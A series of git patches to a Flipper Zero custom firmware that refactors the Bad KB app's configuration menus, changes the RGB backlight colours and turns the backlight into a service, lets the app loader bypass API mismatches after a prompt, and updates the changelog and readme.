ADD_SCENE(bad_kb, file_select, FileSelect) ADD_SCENE(bad_kb, work, Work) ADD_SCENE(bad_kb, error, Error) -ADD_SCENE(bad_kb, config_bt, ConfigBt) -ADD_SCENE(bad_kb, config_usb, ConfigUsb) +ADD_SCENE(bad_kb, config, Config) ADD_SCENE(bad_kb, config_layout, ConfigLayout) ADD_SCENE(bad_kb, config_name, ConfigName) ADD_SCENE(bad_kb, config_mac, ConfigMac) diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config_bt.c b/applications/main/bad_kb/scenes/bad_kb_scene_config_bt.c deleted file mode 100644 index 70dde9e16..000000000 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config_bt.c +++ /dev/null @@ -1,97 +0,0 @@ -#include "../bad_kb_app_i.h" -#include "furi_hal_power.h" -#include "furi_hal_usb.h" -#include - -enum VarItemListIndex { - VarItemListIndexConnection, - VarItemListIndexRemember, - VarItemListIndexKeyboardLayout, - VarItemListIndexAdvertisementName, - VarItemListIndexMacAddress, -}; - -void bad_kb_scene_config_bt_connection_callback(VariableItem* item) { - BadKbApp* bad_kb = variable_item_get_context(item); - bad_kb->is_bt = variable_item_get_current_value_index(item); - XTREME_SETTINGS()->bad_bt = bad_kb->is_bt; - XTREME_SETTINGS_SAVE(); - variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexConnection); -} - -void bad_kb_scene_config_bt_bounding_callback(VariableItem* item) { - BadKbApp* bad_kb = variable_item_get_context(item); - bad_kb->bt_remember = variable_item_get_current_value_index(item); - XTREME_SETTINGS()->bad_bt_remember = bad_kb->bt_remember; - XTREME_SETTINGS_SAVE(); - variable_item_set_current_value_text(item, bad_kb->bt_remember ? "ON" : "OFF"); - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexRemember); -} - -void bad_kb_scene_config_bt_var_item_list_callback(void* context, uint32_t index) { - BadKbApp* bad_kb = context; - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, index); -} - -void bad_kb_scene_config_bt_on_enter(void* context) { - BadKbApp* bad_kb = context; - VariableItemList* var_item_list = bad_kb->var_item_list_bt; - VariableItem* item; - - item = variable_item_list_add( - var_item_list, "Connection", 2, bad_kb_scene_config_bt_connection_callback, bad_kb); - variable_item_set_current_value_index(item, bad_kb->is_bt); - variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); - - item = variable_item_list_add( - var_item_list, "Remember", 2, bad_kb_scene_config_bt_bounding_callback, bad_kb); - variable_item_set_current_value_index(item, bad_kb->bt_remember); - variable_item_set_current_value_text(item, bad_kb->bt_remember ? "ON" : "OFF"); - - item = variable_item_list_add(var_item_list, "Keyboard layout", 0, NULL, bad_kb); - - item = variable_item_list_add(var_item_list, "BT device name", 0, NULL, bad_kb); - - // this doesn't update instantly when toggling between Bounding modes - if(!bad_kb->bt_remember) { - item = variable_item_list_add(var_item_list, "BT MAC address", 0, NULL, bad_kb); - } - - variable_item_list_set_enter_callback( - var_item_list, bad_kb_scene_config_bt_var_item_list_callback, bad_kb); - - view_dispatcher_switch_to_view(bad_kb->view_dispatcher, BadKbAppViewConfigBt); -} - -bool bad_kb_scene_config_bt_on_event(void* context, SceneManagerEvent event) { - BadKbApp* bad_kb = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(bad_kb->scene_manager, BadKbSceneConfigBt, event.event); - consumed = true; - if(event.event == VarItemListIndexKeyboardLayout) { - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigLayout); - } else if(event.event == VarItemListIndexConnection) { - bad_kb_config_switch_mode(bad_kb); - } else if(event.event == VarItemListIndexRemember) { - bad_kb_config_switch_remember_mode(bad_kb); - scene_manager_previous_scene(bad_kb->scene_manager); - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigBt); - } else if(event.event == VarItemListIndexAdvertisementName) { - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigName); - } else if(event.event == VarItemListIndexMacAddress) { - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigMac); - } - } - - return consumed; -} - -void bad_kb_scene_config_bt_on_exit(void* context) { - BadKbApp* bad_kb = context; - VariableItemList* var_item_list = bad_kb->var_item_list_bt; - - variable_item_list_reset(var_item_list); -} diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config_usb.c b/applications/main/bad_kb/scenes/bad_kb_scene_config_usb.c deleted file mode 100644 index d3ff35fc8..000000000 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config_usb.c +++ /dev/null @@ -1,65 +0,0 @@ -#include "../bad_kb_app_i.h" -#include "furi_hal_power.h" -#include "furi_hal_usb.h" -#include - -enum VarItemListIndex { - VarItemListIndexConnection, - VarItemListIndexKeyboardLayout, -}; - -void bad_kb_scene_config_usb_connection_callback(VariableItem* item) { - BadKbApp* bad_kb = variable_item_get_context(item); - bad_kb->is_bt = variable_item_get_current_value_index(item); - XTREME_SETTINGS()->bad_bt = bad_kb->is_bt; - XTREME_SETTINGS_SAVE(); - variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexConnection); -} - -void bad_kb_scene_config_usb_var_item_list_callback(void* context, uint32_t index) { - BadKbApp* bad_kb = context; - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, index); -} - -void bad_kb_scene_config_usb_on_enter(void* context) { - BadKbApp* bad_kb = context; - VariableItemList* var_item_list = bad_kb->var_item_list_usb; - VariableItem* item; - - item = variable_item_list_add( - var_item_list, "Connection", 2, bad_kb_scene_config_usb_connection_callback, bad_kb); - variable_item_set_current_value_index(item, bad_kb->is_bt); - variable_item_set_current_value_text(item, bad_kb->is_bt ? "BT" : "USB"); - - item = variable_item_list_add(var_item_list, "Keyboard layout", 0, NULL, bad_kb); - - variable_item_list_set_enter_callback( - var_item_list, bad_kb_scene_config_usb_var_item_list_callback, bad_kb); - - view_dispatcher_switch_to_view(bad_kb->view_dispatcher, BadKbAppViewConfigUsb); -} - -bool bad_kb_scene_config_usb_on_event(void* context, SceneManagerEvent event) { - BadKbApp* bad_kb = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(bad_kb->scene_manager, BadKbSceneConfigUsb, event.event); - consumed = true; - if(event.event == VarItemListIndexKeyboardLayout) { - scene_manager_next_scene(bad_kb->scene_manager, BadKbSceneConfigLayout); - } else if(event.event == VarItemListIndexConnection) { - bad_kb_config_switch_mode(bad_kb); - } - } - - return consumed; -} - -void bad_kb_scene_config_usb_on_exit(void* context) { - BadKbApp* bad_kb = context; - VariableItemList* var_item_list = bad_kb->var_item_list_usb; - - variable_item_list_reset(var_item_list); -} diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_work.c b/applications/main/bad_kb/scenes/bad_kb_scene_work.c index e962f9132..160487548 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_work.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_work.c @@ -17,11 +17,7 @@ bool bad_kb_scene_work_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == InputKeyLeft) { if(bad_kb_is_idle_state(app->bad_kb_view)) { - if(app->is_bt) { - scene_manager_next_scene(app->scene_manager, BadKbSceneConfigBt); - } else { - scene_manager_next_scene(app->scene_manager, BadKbSceneConfigUsb); - } + scene_manager_next_scene(app->scene_manager, BadKbSceneConfig); } consumed = true; } else if(event.event == InputKeyOk) { From ba6783ea3a2a0913ad091434c9875351e83f24d2 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 22:11:51 +0000 Subject: [PATCH 201/329] Fix typo --- applications/main/bad_kb/scenes/bad_kb_scene_config.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/main/bad_kb/scenes/bad_kb_scene_config.c b/applications/main/bad_kb/scenes/bad_kb_scene_config.c index 1d67e0abb..f4568c57d 100644 --- a/applications/main/bad_kb/scenes/bad_kb_scene_config.c +++ b/applications/main/bad_kb/scenes/bad_kb_scene_config.c @@ -26,7 +26,7 @@ void bad_kb_scene_config_bt_remember_callback(VariableItem* item) { XTREME_SETTINGS()->bad_bt_remember = bad_kb->bt_remember; XTREME_SETTINGS_SAVE(); variable_item_set_current_value_text(item, bad_kb->bt_remember ? "ON" : "OFF"); - view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexRemember); + view_dispatcher_send_custom_event(bad_kb->view_dispatcher, VarItemListIndexBtRemember); } void bad_kb_scene_config_var_item_list_callback(void* context, uint32_t index) { From 2a834bedebc37b9d6e5e028cad550aeed9a46454 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 22:19:19 +0000 Subject: [PATCH 202/329] Update rgb backlight colors --- .../notification_settings/rgb_backlight.c | 21 ++++++++++++------- lib/drivers/WS2812B.c | 21 ++++++++++++------- 2 files changed, 26 insertions(+), 16 deletions(-) diff --git a/applications/settings/notification_settings/rgb_backlight.c b/applications/settings/notification_settings/rgb_backlight.c index 269b544ae..ebff93d09 100644 --- a/applications/settings/notification_settings/rgb_backlight.c +++ b/applications/settings/notification_settings/rgb_backlight.c @@ -34,19 +34,24 @@ static RGBBacklightSettings rgb_settings = { .settings_is_loaded = false}; static const RGBBacklightColor colors[] = { - {"Orange", 255, 79, 0}, - {"Yellow", 255, 170, 0}, - {"Spring", 167, 255, 0}, + {"Orange", 255, 165, 0}, + {"Red", 255, 0, 0}, + {"Maroon", 128, 0, 0}, + {"Yellow", 255, 255, 0}, + {"Olive", 128, 128, 0}, {"Lime", 0, 255, 0}, + {"Green", 0, 128, 0}, {"Aqua", 0, 255, 127}, {"Cyan", 0, 210, 210}, {"Azure", 0, 127, 255}, + {"Teal", 0, 128, 128}, {"Blue", 0, 0, 255}, - {"Purple", 127, 0, 255}, - {"Magenta", 210, 0, 210}, - {"Pink", 255, 0, 127}, - {"Red", 255, 0, 0}, - {"White", 140, 140, 140}, + {"Navy", 0, 0, 128}, + {"Purple", 128, 0, 128}, + {"Fuchsia", 255, 0, 255}, + {"Pink", 255, 192, 203}, + {"Brown", 165, 42, 42}, + {"White", 255, 255, 255}, }; uint8_t rgb_backlight_get_color_count(void) { diff --git a/lib/drivers/WS2812B.c b/lib/drivers/WS2812B.c index 598dfba08..fcdbfe4cd 100644 --- a/lib/drivers/WS2812B.c +++ b/lib/drivers/WS2812B.c @@ -40,19 +40,24 @@ static RGBBacklightSettings rgb_settings = { #define COLOR_COUNT (sizeof(colors) / sizeof(WS2812B_Color)) const WS2812B_Color colors[] = { - {"Orange", 255, 79, 0}, - {"Yellow", 255, 170, 0}, - {"Spring", 167, 255, 0}, + {"Orange", 255, 165, 0}, + {"Red", 255, 0, 0}, + {"Maroon", 128, 0, 0}, + {"Yellow", 255, 255, 0}, + {"Olive", 128, 128, 0}, {"Lime", 0, 255, 0}, + {"Green", 0, 128, 0}, {"Aqua", 0, 255, 127}, {"Cyan", 0, 210, 210}, {"Azure", 0, 127, 255}, + {"Teal", 0, 128, 128}, {"Blue", 0, 0, 255}, - {"Purple", 127, 0, 255}, - {"Magenta", 210, 0, 210}, - {"Pink", 255, 0, 127}, - {"Red", 255, 0, 0}, - {"White", 140, 140, 140}, + {"Navy", 0, 0, 128}, + {"Purple", 128, 0, 128}, + {"Fuchsia", 255, 0, 255}, + {"Pink", 255, 192, 203}, + {"Brown", 165, 42, 42}, + {"White", 255, 255, 255}, }; static void _port_init(void) { From d05a3b7ec92d6fd1c8e33fa267a9a57593158002 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Mon, 20 Mar 2023 23:09:41 +0000 Subject: [PATCH 203/329] Integrate RGB backlight into API + add to xfw app --- .../xtreme_app/scenes/xtreme_app_scene_misc.c | 43 +++++++++++++------ applications/main/xtreme_app/xtreme_app.c | 2 + applications/main/xtreme_app/xtreme_app.h | 3 ++ applications/services/application.fam | 1 + .../services/rgb_backlight/application.fam | 9 ++++ .../rgb_backlight}/rgb_backlight.c | 5 +++ .../rgb_backlight}/rgb_backlight.h | 10 ++++- .../notification_settings_app.c | 15 ------- firmware/targets/f7/api_symbols.csv | 12 ++++++ firmware/targets/f7/furi_hal/furi_hal_light.c | 2 +- 10 files changed, 71 insertions(+), 31 deletions(-) create mode 100644 applications/services/rgb_backlight/application.fam rename applications/{settings/notification_settings => services/rgb_backlight}/rgb_backlight.c (98%) rename applications/{settings/notification_settings => services/rgb_backlight}/rgb_backlight.h (95%) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index 4fe60dcb6..4b353c73c 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -12,15 +12,6 @@ void xtreme_app_scene_misc_var_item_list_callback(void* context, uint32_t index) view_dispatcher_send_custom_event(app->view_dispatcher, index); } -static void xtreme_app_scene_misc_rgb_backlight_changed(VariableItem* item) { - XtremeApp* app = variable_item_get_context(item); - bool value = variable_item_get_current_value_index(item); - variable_item_set_current_value_text(item, value ? "ON" : "OFF"); - XTREME_SETTINGS()->rgb_backlight = value; - app->save_settings = true; - app->require_reboot = true; -} - static void xtreme_app_scene_misc_xp_level_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); app->xp_level = variable_item_get_current_value_index(item) + 1; @@ -30,6 +21,23 @@ static void xtreme_app_scene_misc_xp_level_changed(VariableItem* item) { app->save_level = true; } +static void xtreme_app_scene_misc_rgb_backlight_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->rgb_backlight = value; + app->save_settings = true; + notification_message(app->notification, &sequence_display_backlight_on); +} + +static void xtreme_app_scene_misc_lcd_color_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(index)); + rgb_backlight_set_color(index); + notification_message(app->notification, &sequence_display_backlight_on); +} + const char* const butthurt_timer_names[] = {"OFF", "30 M", "1 H", "2 H", "4 H", "6 H", "8 H", "12 H", "24 H", "48 H"}; const int32_t butthurt_timer_values[COUNT_OF(butthurt_timer_names)] = @@ -52,11 +60,6 @@ void xtreme_app_scene_misc_on_enter(void* context) { variable_item_list_add(var_item_list, "Change Device Name", 0, NULL, app); - item = variable_item_list_add( - var_item_list, "RGB Backlight", 2, xtreme_app_scene_misc_rgb_backlight_changed, app); - variable_item_set_current_value_index(item, xtreme_settings->rgb_backlight); - variable_item_set_current_value_text(item, xtreme_settings->rgb_backlight ? "ON" : "OFF"); - char level_str[4]; snprintf(level_str, 4, "%li", app->xp_level); item = variable_item_list_add( @@ -79,6 +82,18 @@ void xtreme_app_scene_misc_on_enter(void* context) { variable_item_set_current_value_index(item, value_index); variable_item_set_current_value_text(item, butthurt_timer_names[value_index]); + item = variable_item_list_add( + var_item_list, "RGB Backlight", 2, xtreme_app_scene_misc_rgb_backlight_changed, app); + variable_item_set_current_value_index(item, xtreme_settings->rgb_backlight); + variable_item_set_current_value_text(item, xtreme_settings->rgb_backlight ? "ON" : "OFF"); + + item = variable_item_list_add( + var_item_list, "LCD Color", rgb_backlight_get_color_count(), xtreme_app_scene_misc_lcd_color_changed, app); + value_index = rgb_backlight_get_settings()->display_color_index; + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, rgb_backlight_get_color_text(value_index)); + variable_item_set_locked(item, !xtreme_settings->rgb_backlight, "Needs RGB\nBacklight!"); + variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_misc_var_item_list_callback, app); diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index 0a2d29d40..3aef017d6 100644 --- a/applications/main/xtreme_app/xtreme_app.c +++ b/applications/main/xtreme_app/xtreme_app.c @@ -139,6 +139,7 @@ XtremeApp* xtreme_app_alloc() { XtremeApp* app = malloc(sizeof(XtremeApp)); app->gui = furi_record_open(RECORD_GUI); app->dialogs = furi_record_open(RECORD_DIALOGS); + app->notification = furi_record_open(RECORD_NOTIFICATION); // View Dispatcher and Scene Manager app->view_dispatcher = view_dispatcher_alloc(); @@ -301,6 +302,7 @@ void xtreme_app_free(XtremeApp* app) { furi_string_free(app->version_tag); // Records + furi_record_close(RECORD_NOTIFICATION); furi_record_close(RECORD_DIALOGS); furi_record_close(RECORD_GUI); free(app); diff --git a/applications/main/xtreme_app/xtreme_app.h b/applications/main/xtreme_app/xtreme_app.h index b7946c44d..222ca263a 100644 --- a/applications/main/xtreme_app/xtreme_app.h +++ b/applications/main/xtreme_app/xtreme_app.h @@ -20,6 +20,8 @@ #include #include #include +#include +#include #include #include "xtreme/settings.h" #include "xtreme/assets.h" @@ -31,6 +33,7 @@ ARRAY_DEF(CharList, char*) typedef struct { Gui* gui; DialogsApp* dialogs; + NotificationApp* notification; SceneManager* scene_manager; ViewDispatcher* view_dispatcher; VariableItemList* var_item_list; diff --git a/applications/services/application.fam b/applications/services/application.fam index 6c41160db..62aec990d 100644 --- a/applications/services/application.fam +++ b/applications/services/application.fam @@ -10,6 +10,7 @@ App( "desktop", "loader", "power", + "rgb_backlight", "namechangersrv", ], ) diff --git a/applications/services/rgb_backlight/application.fam b/applications/services/rgb_backlight/application.fam new file mode 100644 index 000000000..70fc0dc9a --- /dev/null +++ b/applications/services/rgb_backlight/application.fam @@ -0,0 +1,9 @@ +App( + appid="rgb_backlight", + name="RGB Backlight", + apptype=FlipperAppType.SERVICE, + entry_point="rgb_backlight_srv", + sdk_headers=[ + "rgb_backlight.h", + ], +) diff --git a/applications/settings/notification_settings/rgb_backlight.c b/applications/services/rgb_backlight/rgb_backlight.c similarity index 98% rename from applications/settings/notification_settings/rgb_backlight.c rename to applications/services/rgb_backlight/rgb_backlight.c index ebff93d09..4c6a21f41 100644 --- a/applications/settings/notification_settings/rgb_backlight.c +++ b/applications/services/rgb_backlight/rgb_backlight.c @@ -174,3 +174,8 @@ void rgb_backlight_update(uint8_t brightness) { SK6805_update(); } + +int32_t rgb_backlight_srv(void* p) { + UNUSED(p); + return 0; +} diff --git a/applications/settings/notification_settings/rgb_backlight.h b/applications/services/rgb_backlight/rgb_backlight.h similarity index 95% rename from applications/settings/notification_settings/rgb_backlight.h rename to applications/services/rgb_backlight/rgb_backlight.h index b63d223e6..c00eb0716 100644 --- a/applications/settings/notification_settings/rgb_backlight.h +++ b/applications/services/rgb_backlight/rgb_backlight.h @@ -19,6 +19,10 @@ #include #include "SK6805.h" +#ifdef __cplusplus +extern "C" { +#endif + typedef struct { char* name; uint8_t red; @@ -76,4 +80,8 @@ uint8_t rgb_backlight_get_color_count(void); * @param index Индекс из доступных вариантов цвета * @return Указатель на строку с названием цвета */ -const char* rgb_backlight_get_color_text(uint8_t index); \ No newline at end of file +const char* rgb_backlight_get_color_text(uint8_t index); + +#ifdef __cplusplus +} +#endif diff --git a/applications/settings/notification_settings/notification_settings_app.c b/applications/settings/notification_settings/notification_settings_app.c index 89242ecd9..ee5cca273 100644 --- a/applications/settings/notification_settings/notification_settings_app.c +++ b/applications/settings/notification_settings/notification_settings_app.c @@ -3,7 +3,6 @@ #include #include #include -#include "rgb_backlight.h" #define MAX_NOTIFICATION_SETTINGS 4 @@ -120,14 +119,6 @@ static void vibro_changed(VariableItem* item) { notification_message(app->notification, &sequence_single_vibro); } -static void color_changed(VariableItem* item) { - NotificationAppSettings* app = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - rgb_backlight_set_color(index); - variable_item_set_current_value_text(item, rgb_backlight_get_color_text(index)); - notification_message(app->notification, &sequence_display_backlight_on); -} - static uint32_t notification_app_settings_exit(void* context) { UNUSED(context); return VIEW_NONE; @@ -145,12 +136,6 @@ static NotificationAppSettings* alloc_settings() { VariableItem* item; uint8_t value_index; - item = variable_item_list_add( - app->variable_item_list, "LCD Color", rgb_backlight_get_color_count(), color_changed, app); - value_index = rgb_backlight_get_settings()->display_color_index; - variable_item_set_current_value_index(item, value_index); - variable_item_set_current_value_text(item, rgb_backlight_get_color_text(value_index)); - item = variable_item_list_add( app->variable_item_list, "LCD Brightness", BACKLIGHT_COUNT, backlight_changed, app); value_index = value_index_float( diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index dea9b9a73..d8ec9ec6c 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -37,6 +37,7 @@ Header,+,applications/services/locale/locale.h,, Header,+,applications/services/notification/notification.h,, Header,+,applications/services/notification/notification_messages.h,, Header,+,applications/services/power/power_service/power.h,, +Header,+,applications/services/rgb_backlight/rgb_backlight.h,, Header,+,applications/services/rpc/rpc_app.h,, Header,+,applications/services/storage/storage.h,, Header,+,applications/services/xtreme/assets.h,, @@ -314,6 +315,10 @@ Function,-,LL_USART_DeInit,ErrorStatus,USART_TypeDef* Function,+,LL_USART_Init,ErrorStatus,"USART_TypeDef*, LL_USART_InitTypeDef*" Function,-,LL_USART_StructInit,void,LL_USART_InitTypeDef* Function,-,LL_mDelay,void,uint32_t +Function,-,SK6805_get_led_count,uint8_t, +Function,-,SK6805_init,void, +Function,-,SK6805_set_led_color,void,"uint8_t, uint8_t, uint8_t, uint8_t" +Function,-,SK6805_update,void, Function,-,SystemCoreClockUpdate,void, Function,-,SystemInit,void, Function,+,XTREME_ASSETS,XtremeAssets*, @@ -2516,6 +2521,13 @@ Function,-,rfal_platform_spi_acquire,void, Function,-,rfal_platform_spi_release,void, Function,-,rfal_set_callback_context,void,void* Function,-,rfal_set_state_changed_callback,void,RfalStateChangedCallback +Function,+,rgb_backlight_get_color_count,uint8_t, +Function,+,rgb_backlight_get_color_text,const char*,uint8_t +Function,+,rgb_backlight_get_settings,RGBBacklightSettings*, +Function,-,rgb_backlight_load_settings,void, +Function,-,rgb_backlight_save_settings,void, +Function,+,rgb_backlight_set_color,void,uint8_t +Function,-,rgb_backlight_update,void,uint8_t Function,-,rindex,char*,"const char*, int" Function,-,rint,double,double Function,-,rintf,float,float diff --git a/firmware/targets/f7/furi_hal/furi_hal_light.c b/firmware/targets/f7/furi_hal/furi_hal_light.c index 7c7de7052..7d303cfaa 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_light.c +++ b/firmware/targets/f7/furi_hal/furi_hal_light.c @@ -4,7 +4,7 @@ #include #include #include -#include +#include #define LED_CURRENT_RED 50 #define LED_CURRENT_GREEN 50 From b3ddca1aee9a16868f757596d1f8eeee3369c648 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 02:18:04 +0300 Subject: [PATCH 204/329] Update changelog --- CHANGELOG.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c373d4b3f..1b01eb479 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,11 +1,13 @@ ### New changes -* iButton: Add support for DS1420 (not fully tested) -* Desktop: Option to set Tertiary favourite app (Hold right arrow on desktop) - **Desktop settings (pin code, favourite app, autolock time) will be resetted!!! Only one time after installing - due to changes in settings structure, after installing of this release desktop settings will not be reset with next release** -* Desktop: Ability to disable favourite app (use last element in a main list `None (disable)`) -* Desktop: Fix issue #387 (Ok button was showing invalid file error in dummy mode) -* OFW PR: SD Driver: reinit sd card on error (by DrZlo13 | OFW PR 2493) -* OFW PR: iButton -> Fix a typo: use right shift instead of greater than (by gsurkov | OFW PR 2506) -* OFW: Optimize trailing slash check +* Plugins: Fix minesweeper freeze bugs, do some refactoring +* Plugins: Update WAV Player, 16 bit support by @LTVA1 +* OFW PR: Fixed writing gen1a magic tags with invalid BCC [(PR 2511 by AloneLiberty)](https://github.com/AloneLiberty/flipperzero-firmware/tree/nfc-magic-write-fix) +* OFW: BadUSB: Script interpreter refactoring +* OFW: SubGhz: fix Incorrect comparison in subghz_setting_get_hopper_frequency +* OFW: Add one_wire lib to f18, separate ibutton +* OFW: Improved debugging experience for external apps +* OFW: SD Driver: reinit sd card on error +* OFW: OTP programmer: return exit code based on error type #### [🎲 Download latest extra apps pack](https://github.com/xMasterX/unleashed-extra-pack/archive/refs/heads/main.zip) From 52f5939773636727f1b16723d7a9957705780936 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 21 Mar 2023 00:03:03 +0000 Subject: [PATCH 205/329] Fap loader add option to ignore api mismatch --- applications/main/fap_loader/fap_loader_app.c | 44 ++++++++++++++----- 1 file changed, 32 insertions(+), 12 deletions(-) diff --git a/applications/main/fap_loader/fap_loader_app.c b/applications/main/fap_loader/fap_loader_app.c index 9b97d8530..90a693fac 100644 --- a/applications/main/fap_loader/fap_loader_app.c +++ b/applications/main/fap_loader/fap_loader_app.c @@ -60,7 +60,7 @@ static bool fap_loader_item_callback( return fap_loader_load_name_and_icon(path, fap_loader->storage, icon_ptr, item_name); } -static bool fap_loader_run_selected_app(FapLoader* loader) { +static bool fap_loader_run_selected_app(FapLoader* loader, bool ignore_mismatch) { furi_assert(loader); FuriString* error_message; @@ -69,6 +69,7 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { bool file_selected = false; bool show_error = true; + bool retry = false; do { file_selected = true; loader->app = flipper_application_alloc(loader->storage, firmware_api_interface); @@ -79,14 +80,29 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { FlipperApplicationPreloadStatus preload_res = flipper_application_preload(loader->app, furi_string_get_cstr(loader->fap_path)); if(preload_res != FlipperApplicationPreloadStatusSuccess) { - const char* err_msg = flipper_application_preload_status_to_string(preload_res); - furi_string_printf(error_message, "Preload failed: %s", err_msg); - FURI_LOG_E( - TAG, - "FAP Loader failed to preload %s: %s", - furi_string_get_cstr(loader->fap_path), - err_msg); - break; + if(preload_res == FlipperApplicationPreloadStatusApiMismatch) { + if(!ignore_mismatch) { + DialogMessage* message = dialog_message_alloc(); + dialog_message_set_header(message, "API Mismatch", 64, 0, AlignCenter, AlignTop); + dialog_message_set_buttons(message, "Cancel", NULL, "Continue"); + dialog_message_set_text(message, "This app might not\nwork correctly\nContinue anyways?", 64, 32, AlignCenter, AlignCenter); + if(dialog_message_show(loader->dialogs, message) == DialogMessageButtonRight) { + retry = true; + } + dialog_message_free(message); + show_error = false; + break; + } + } else { + const char* err_msg = flipper_application_preload_status_to_string(preload_res); + furi_string_printf(error_message, "Preload failed: %s", err_msg); + FURI_LOG_E( + TAG, + "FAP Loader failed to preload %s: %s", + furi_string_get_cstr(loader->fap_path), + err_msg); + break; + } } FURI_LOG_I(TAG, "FAP Loader is mapping"); @@ -144,7 +160,7 @@ static bool fap_loader_run_selected_app(FapLoader* loader) { flipper_application_free(loader->app); } - return file_selected; + return retry; } static bool fap_loader_select_app(FapLoader* loader) { @@ -193,12 +209,16 @@ int32_t fap_loader_app(void* p) { if(p) { loader = fap_loader_alloc((const char*)p); view_dispatcher_switch_to_view(loader->view_dispatcher, 0); - fap_loader_run_selected_app(loader); + if(fap_loader_run_selected_app(loader, false)) { + fap_loader_run_selected_app(loader, true); + } } else { loader = fap_loader_alloc(EXT_PATH("apps")); while(fap_loader_select_app(loader)) { view_dispatcher_switch_to_view(loader->view_dispatcher, 0); - fap_loader_run_selected_app(loader); + if(fap_loader_run_selected_app(loader, false)) { + fap_loader_run_selected_app(loader, true); + } }; } From c80405f880ba5fe4ef5760ed227c3dc9c137a7e9 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Tue, 21 Mar 2023 03:04:22 +0300 Subject: [PATCH 206/329] WAV Player fixes by @LTVA1 --- ReadMe.md | 2 +- applications/external/wav_player/README.md | 2 ++ applications/external/wav_player/wav_player.c | 14 ++++++++++---- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/ReadMe.md b/ReadMe.md index 12cca6715..68c78239a 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -132,7 +132,7 @@ You can support us by using links or addresses below: - ESP8266 Deauther plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-Wifi-ESP8266-Deauther-Module) - WiFi Scanner plugin [(by SequoiaSan)](https://github.com/SequoiaSan/FlipperZero-WiFi-Scanner_Module) - MultiConverter plugin [(by theisolinearchip)](https://github.com/theisolinearchip/flipperzero_stuff) -- WAV Player [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) - Fixed and improved by [LTVA1](https://github.com/LTVA1/wav_player) +- WAV Player [(OFW: DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) - Fixed and improved by [LTVA1](https://github.com/LTVA1/wav_player) -> Also outputs audio on `PA6` - `3(A6)` pin - Barcode generator plugin [(original by McAzzaMan)](https://github.com/McAzzaMan/flipperzero-firmware/tree/UPC-A_Barcode_Generator/applications/barcode_generator) - [EAN-8 and refactoring](https://github.com/DarkFlippers/unleashed-firmware/pull/154) by @msvsergey - GPIO: Sentry Safe plugin [(by H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) - ESP32: WiFi Marauder companion plugin [(by 0xchocolate)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) - Saving .pcap on flipper microSD 